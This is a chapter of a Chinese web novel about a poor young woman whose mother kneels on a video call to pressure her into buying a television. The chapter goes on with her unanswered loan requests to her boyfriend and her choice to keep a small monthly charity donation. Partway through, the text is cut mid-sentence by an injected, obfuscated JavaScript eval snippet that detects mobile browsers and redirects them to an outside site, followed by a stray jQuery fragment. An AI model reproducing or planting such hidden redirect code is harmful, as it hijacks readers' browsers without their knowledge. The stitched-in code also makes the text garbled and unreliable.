她去洗碗。厨房没有热水，得给炒锅里接点冷水，烧热了再洗。水还没烧开，洋葱的电话来了。
她的噩梦来了！
不。
不能是噩梦。
她要改变！
电话那头施恩似的：“看在你是我生的份上，我再给你最后一次机会，你要还嘴犟，死活不买，我真给你店里打电话了，到时有你后悔的！”
又来了。
又威胁！
她真是受够了！
她不想听了。
腻了。
不能再坐以待毙！
她要反抗！
她拼命地想着该咋办。
拼命想该说啥。
过了会，她心中的焦虑淡了不少，用不慌不忙，无所谓的语气说：“你打吧。”
电话那头：
“你说啥？搁那犯傻病呢！你是不是以为我只是嘴上说说而已，觉得我不敢真打？”
“我告诉你，你错了。”
“为了昊昊，我啥都豁得出去！”
她：“那你打吧。”
她：“豁吧。”
她：“随便你。”
她妈已经说过很多话了。
她已经听过很多话了。
这一次该轮到她说了！
她虽然是个穷人，好歹还是个人，还长了张人的嘴！
她虽然不够聪明，但好歹长了脑子！
她在心中编辑着她的道理。
她“你只会说咋那的方言，一句普通话都不会说，你投诉啥，你觉得接线员能听懂你说啥吗？”
或许接线员会用翻译工具，或许会求助于其他人。
但这不是她要说的重点。
她要让她妈知难而退！
她：“你这辈子去的最多的地方，是咋家，咋家的地，我外婆家，厂子，你连镇上都不咋去，县里也是好久才去一次。你连隔壁县都没去过，更别说去市里，更别说出省。你知道外面的世界啥样吗？”
她：“你不知道。”
她：“你不知道，一个投诉电话在客服系统是咋流转的，不知道他们的工作流程，不知道他们的处理逻辑，你就敢轻率地断定，我会被开除。”
她：“你知道我的同事们啥样吗？你都没见过他们，就觉得他们是那种嘴碎的，爱嚼舌根的，爱背后戳人脊梁骨骂的，爱指指点点？”
她：“你凭啥这么觉得？”
她：“凭空胡想吗？”
她已经见过太多的良善。
她不相信人都会这么坏！
她相信很多人即使不知道全貌，光听她妈的投诉，都能听出来她的无辜。
她：“你知道我的领导啥样吗？领导能成为领导，难道是因为他的智力低，脑子笨，没啥分辨能力，喜欢听你污蔑吗？”
她：“你知道我有很多领导吗？领导们能这么容易都被你摆布吗？你是老板吗？”
她：“你给他们发工资、打绩效，发奖金吗？”
她：“你给他们升职加薪吗？”
她顿了顿。
感觉脑子灵光了点。
她想起来她妈的胡说八道，她要以其人之道，还其人之身！
她：“你不是说，大城市工作好找，遍地都是工作吗？既然工作好找，随随便便都能找到工作，你能威胁我啥？我需要怕你啥？你去投诉好了。”
电话那头打断了她。
句句都是气急败坏。
“少在那嘚嘚嘚，嘚个没完。你说那么多我听不懂的，是不是存心让我难堪？”
“咋的？去大城市干了几年，长了点见识，觉得自己了不起了，成人上人了，连你亲妈都看不起了？”
“你摸着自己的良心说，没有我，哪来的你在大城市吃香的喝辣的好日子！”
她吃香的，喝辣的？
好日子？
她又开始气！
她刚来时，住地下室，后来搬到棺材房，即使到现在，也是和人合住不到10平米，人均不足5平米。
这算什么好日子？！
刨去和男朋友约会花销，每个月吃饭上花的钱，不到150块。
参与过最多的挑战是 # 挑战1块钱吃一顿！
#挑战连续签到x天送x！
这算什么好日子？！
她时常为生计发愁，日子过的捉襟见肘，也就前几个月好点，这个月又开始饱受煎熬。
日子好在哪？
好个毛线！
她听见电话那头把她的道理踩了踩，继续指责她。
“你不知感恩就算了，还在那净说屁话！”
“家里的狗都比你有良心！”
她受不了这种谴责。
想挂电话了。
她妈总是能迅速浇灭她的沟通欲！
电话那头：“你是不是又想让我跪下来求你。好，我跪。我跪给你看。你快看。快看啊！”
她听见了一声奇怪的响。
她看到了它妈跪在地上。
她顿时又恼又急！
她妈又给她下跪！
她妈又给她下跪！
她妈又给她下跪！
她：“妈，你别这样。”
她：“你快起来呀。”
她：“你快起来！”
怎么能让她妈给她下跪啊！
怎么能啊！
那可是她妈啊！
电话那头屈膝折腰，带着八头牛都拉不动的倔：“你不答应我就不起来。我就这么跪着，跪个十天半月。”
她急火攻心！
担心她妈，又难免生出了怨念。
她妈这是把下跪当威胁她、逼迫她的灵丹妙药了吗？
真的好过分！
她心疼她妈。
她怨着她妈。
她的心被答应和拒绝撕扯着。
她看着屏幕上跪着的那个人，看着那个人额前的白头发，疤痕，脸上的皱纹，浑浊的眼珠。
眼泪夺眶而出。
她想起那个人布满老茧的手，脚上的破布鞋。
又是冬天。
那双手没开裂流血吧？
她想起那个人的身体里长了好几根刺。
干活扎进了刺，没及时挑拔出来。新皮封了口，缝上了刺，刺就变成了身体的一部分。
摸着还会有凸起！
她想起初中三年，那个人来学校给她送过几次饭，有一次冒着鹅毛大雪送。
来的路上骑车摔了一跤，没戴帽子，头顶着雪，脸上磨破皮，衣服上沾了米汤，膝盖处更湿。
等不及雪停，又骑着二八大杠驶入雪中。
她站在漫天风雪里。
哭成了傻子。
几天后回家，她看到了那个人青青紫紫的膝盖。
想起那个人赶集的时候，跟人老板胡搅蛮缠了十几分钟，才让人答应卖一根只有1颗的糖葫芦。
那是给她买的。
因为穷，买不起一整根。
只舍得买一颗。
想起那个人下地干活累坏了身体，贴了片根本不知道对不对症的膏药拿起锄头出门。
想起深更半夜，那个人浇地还没回来，幼小的她一个人扒着门等。
怕那个人遇见狼。
怕那个人撞见鬼。
怕那个人被水淹。
她看见过那个人饱受磨难的20多岁。
看见过那个人饱经风霜的30多岁。
看见过那个人备受折磨的40多岁。
她很小的时候，就希望能让那个人过的好一点，她希望了很多年，也努力了很多年。
那个人今年49了。
过的好吗？
不好！
到底哪错了？
到底谁错了？
她想起更久以前，没钱交学费，那个人跑去学校，扑通一声给老师跪下，让她先上课。
她拿着小板凳站着，吓得直哭。
怎么能跪呢？
太难堪了！
她想起，那个人为了借学费，跑去人家跪着，吓坏了被借钱的，也吓坏了她。
她受不了她妈下跪。
她希望她妈永远都不要下跪。
永远不要。
哪怕是过年拜年的习俗，哪怕是上坟，都不要。
她会痛苦！
她哭的泣不成声。
她无力地扶着燃气灶的面板，看着炒锅中因为关火又变冷的水。
她无力又心寒。
她说：“好。”
她闭上了被泪水糊住的双眼。
她看见了她在深渊堕落。
她还想说什么，电话那头喜上眉梢，欢欢喜喜地站起来：“那你快点。”接着电话就被掐断。
她伸手去抽纸巾，想擦脸。
它想起了那只鬼。
她伸出袖子，想擦脸。
又想起来那只鬼。
它说的对。
她这么穷，有什么资格哭？
她应该坚强！
她的微信上，把两个人设置了星标，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279247|182476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
设置了消息置顶。一个是她妈，一个是男朋友。
她拿起手机，去掉了给她妈设置的星标和置顶。
她打开和男朋友的聊天，想开口借钱。可结局大概率跟上回一样。她要是隐瞒原因，他会一直猜。她说实话，他又会说她扶弟魔。然后——拒绝。
可她想试试。
万一肯借呢？
她还没想好咋还，但是她肯定会尽快还，越快越好，少睡几个小时都行！
她浏览了下那种电视要多钱。
肯定不能买最好最贵的，绝不可能！
差不多就行了！
她问：「能借给我7000吗」
没回。
可能在忙。
她总不能啥也不干，就一直干等着，这太浪费时间了。她打开日历，看看记录的待办项还有哪些没干，很快就去忙了。
忙了一个多个小时后，拿起静悄悄的手机看了眼，又加了一句：「急用」
他应该是忙的没空看微信吧，那发短信有用吗，是不是也没用？试试吧。
她又发了一条短信：「能借给我7000吗」
补发：「我会尽快还你」
临睡前，她看了眼手机。
他还没回。
微信、短信一样都没回。
他好忙啊！
第二天，她刚睁眼就捞出手机找未读消息。没有。他没回。他就像是人间蒸发了一样。
下班后，她着急忙慌地看手机。
他还是没回。
她忍不住想：
他是不是故意的？
故意已读不回？
假装没看到？
是不想……借吗？
以前，他特忙时，只是不会主动发起新的聊天，不回那种分享类的，正事都会当天回的。
这次反常失踪这么久。
真不愿借吗？
可是不愿借钱，为啥不能直说啊？上次不就直说了吗？她不可能强迫他的啊。
她不是那种要用情侣关系绑架别人借款的人！
会不会是她想多了？
她太敏感多疑了？
她不再等消息了，一件事长时间的提着吊着，太消耗了，她没精力内耗他为啥没回了。
她得想别的办法。
她想到了那只鬼。
啊？
它剪床单被子那些，赔过她10颗金珠！
她有金珠！
她赶紧从专门盛放贵重物品的木盒子里取金珠，拿出10颗，盖上盒子，往门口的方向走了几步，又倒回去，放回1颗。
她跑去黄金回收点卖。
钱的事解决了。
她一点都不快乐。
对贫穷的恐惧更深了，觉得未来更加暗淡无光。回家后，又一次全方位的盘点资产状况，想看看还能从哪抠点钱出来。
她想起来之前开通了公益月捐，每个月要捐款52.1元，捐的是个乡村教育项目。
如果取消捐赠，能省52.1。
挺多的！
她不想捐了，自个儿都火烧眉毛了，饭都吃不饱，就别想着帮谁了吧。
她现在还处于自家门前雪都扫不好的阶段，操那份闲心干啥！
有句话咋说的？
哦，对，穷则独善其身！
嗯。不捐了！
想到不捐了，她非但没有因为挽救一部分钱而感到轻松，心里反而更沉重。
26岁的她像个年迈迟缓的老人，慢慢地打开了公益小程序，盯着关闭月捐的页面看了许久，迟迟没力气按下取消月捐。
算了。
还是继续捐吧。
反正以前也没吃得多饱过。
她怀疑自己在做傻事。
她捐的那点钱，对她来说不少，但对别人来说，应该是少得可怜，够干什么？恐怕掉水里都没个声响，真能帮到人吗？
应该不能吧？
或许，能呢？
真能吗？
希望能。
她放弃取消月捐了。贫穷深入骨髓的她，决定继续花这笔对自己没有任何用处的钱时，心情反而好点了。
52.1元是很少，但或许能买本好书？
能买得起书桌的桌腿吧？
当时设置这个金额的时候，想的就是，这是她对这个世界微薄的爱！
她现在更穷了。
她对这个世界微薄的爱还在。
她闻到了香味。
香味转瞬即逝。
是错觉吗？